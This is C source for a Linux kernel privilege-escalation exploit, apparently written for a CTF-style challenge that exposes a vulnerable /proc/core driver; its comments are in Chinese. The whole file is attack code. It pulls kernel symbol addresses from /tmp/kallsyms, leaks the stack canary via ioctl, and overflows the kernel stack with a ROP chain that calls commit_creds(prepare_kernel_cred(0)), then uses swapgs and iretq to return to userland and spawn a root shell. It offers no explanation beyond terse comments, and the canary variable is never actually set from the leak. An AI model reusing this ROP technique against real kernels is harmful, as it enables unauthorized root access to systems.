size_t user_cs, user_ss, user_rflags, user_sp;
/
/
保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
size_t get_addr(char
*
name){
char cmd[N];
char cmd2[N];
FILE
*
f;
size_t info;
memset(cmd,
0
,
256
);
memset(cmd2,
0
,
256
);
strcat(cmd,
"cd /tmp && cat /tmp/kallsyms | grep "
);
strcat(cmd,name);
strcat(cmd,
" >"
);
strcat(cmd,
" "
);
strcat(cmd,name);
/
/
printf(
"execute: %s\n"
,cmd);
system(cmd);
strcat(cmd2,
"/tmp/"
);
strcat(cmd2,name);
/
/
printf(
"cmd2: %s\n"
,cmd2);
f
=
fopen(cmd2,
"r"
);
if
(!f){
printf(
"fopen error!\n"
);
exit(
-
1
);
}
fscanf(f,
"%lx"
,&info);
printf(
"%s : %lx\n"
,name,info);
fclose(f);
return
info;
}
void privilge_escalation() {
char
*
(
*
prepare_kernel_cred_ptr)(
int
)
=
prepare_kernel_cred;
int
(
*
commit_creds_ptr)(char
*
)
=
commit_creds;
(
*
commit_creds_ptr)((
*
prepare_kernel_cred_ptr)(
0
) );
}
void shell(){
printf(
"root"
);
system(
"/bin/sh"
);
}
int
main(){
int
fd1;
char buf[
0x40
]
=
{
0
};
size_t rop[
0x1000
];
save_status();
puts(
"successfully saved user mode status : )"
);
startup_64
=
get_addr(
"startup_64"
);
prepare_kernel_cred
=
get_addr(
"prepare_kernel_cred"
);
commit_creds
=
get_addr(
"commit_creds"
);
offset
=
startup_64
-
0xffffffff81000000
;
printf(
"offset : %lx\n"
,offset);
fd1
=
open
(
"/proc/core"
,O_RDWR);
if
(fd1<
0
){puts(
"open /proc/core error!"
);exit(
-
1
);}
ioctl(fd1,
0x6677889C
,
0x40
);
/
/
设置off为
0x40
,准备将canary拉到用户态 。
puts(
"[*] Trying to fuck the canary... :)"
);
ioctl(fd1,
0x6677889B
,buf);
/
/
调用core_read把canary拉回用户态的buf里。
printf(
"[*] canary is: %p\n"
,((size_t
*
)buf)[
0
]);
/
/
以
8
个字节为单位输出。
int
i;
for
(i
=
0
;i<
8
;i
+
+
){
rop[i
+
+
]
=
0x6161616161616161
;
}
/
/
接下来到达canary的位置
rop[i
+
+
]
=
canary;
/
/
rbp
rop[i
+
+
]
=
0x6161616161616161
;
/
/
开始覆盖返回地址,直接布置成用户态题圈函数的地址
rop[i
+
+
]
=
(size_t)privilge_escalation;
rop[i
+
+
]
=
0xffffffff818012da
+
offset;
/
/
swapgs ; popfq ; ret
rop[i
+
+
]
=
0
;
rop[i
+
+
]
=
0xffffffff81050ac2
+
offset;
/
/
iretq;ret
rop[i
+
+
]
=
(size_t)shell;
/
/
rip
rop[i
+
+
]
=
user_cs;
rop[i
+
+
]
=
user_rflags;
rop[i
+
+
]
=
user_sp;
rop[i
+
+
]
=
user_ss;
write(fd1,rop,
0x30
*
8
);
printf(
"start to pwn :)\n"
);
ioctl(fd1,
0x6677889A
,
0xffffffffffff0100
);
return
0
;
}